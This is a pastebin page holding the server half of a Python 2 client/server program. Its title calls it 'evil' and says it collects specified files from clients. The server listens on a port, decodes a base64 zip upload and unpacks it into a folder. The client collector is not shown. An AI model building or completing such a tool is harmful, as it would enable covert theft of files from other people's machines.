An evil c/s program developed by Python is used to obtain all specified files on the client and transfer them to the server

From , 3 Years ago, written in Python, viewed 125 times.
URL https://pastebin.vip/view/cd3109c6
  1. # -*- coding: cp936 -*-
  2. import socket
  3. import win32com.client
  4. import os
  5. import zipfile
  6. import codecs
  7. import base64
  8.  
  9. def main():
  10.     HOST = '127.0.0.1'
  11.     PORT = 2000
  12.     BUF_SIZE = 6553500 #6M
  13.     key = 'ouyang'
  14.     timeout = 5
  15.     dicName = "ouyang\\"
  16.  
  17.  
  18.     ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  19.     try:
  20.         ss.bind((HOST,PORT))
  21.         ss.listen(5)
  22.         print "wating for conntecting..."
  23.         while True:
  24.             try:
  25.                 cs,addr = ss.accept()
  26.                 socket.setdefaulttimeout(timeout)
  27.                
  28.                 cs.send("200 Connected!")
  29.  
  30.                 #获取加密数据
  31.                 encode_data = cs.recv(BUF_SIZE)
  32.  
  33.                            
  34.                 #把数据写到out.zip文件
  35.                 tmpfile = open('out.tmp','wb')
  36.                 try:
  37.                     tmpfile.write(encode_data)
  38.                     tmpfile.close()
  39.                 except IOError,e:
  40.                     print 'Strange error creating IOError:%s' % e  
  41.                     tmpfile.close()
  42.                 finally:
  43.                     tmpfile.close()
  44.  
  45.                 #base64 decode 2进制 解密 decode(infile,outfile)
  46.                 tmpfile = open('out.tmp','rb')
  47.                 outfile = open('out.zip','wb')
  48.                 base64.decode(tmpfile,outfile)
  49.                 tmpfile.close()
  50.                 outfile.close()
  51.                
  52.                 #打开zip文件
  53.                 zfile = zipfile.ZipFile('out.zip','r')
  54.  
  55.                 #创建一个文件夹来存放获取的zip文件
  56.                 if not os.path.exists(dicName):
  57.                     os.mkdir(dicName)
  58.  
  59.                 for f in zfile.namelist():
  60.                     data = zfile.read(f)
  61.                     file = open(dicName+os.path.basename(f),'w+b')
  62.                     file.write(data)
  63.                     file.close()
  64.                 print "finished!!!"
  65.                 zfile.close()
  66.  
  67.                 #后续处理 删除临时文件
  68.                 os.remove('out.tmp')
  69.                
  70.                 cs.close()
  71.                
  72.             except socket.error, e:  
  73.                 print 'Strange error creating socket:%s' % e  
  74.                 cs.close()
  75.         ss.close()
  76.     except socket.error, e:
  77.         print 'Strange error creating socket:%s' % e  
  78.         ss.close()
  79.  
  80. if __name__=='__main__':
  81.     main()
  82.  
  83.  
  84. #//python/8749

Reply to "An evil c/s program developed by Python is used to obtain all specified files on the client and transfer them to the server"

Here you can reply to the paste above

captcha

https://burned.cc - Burn After Reading Website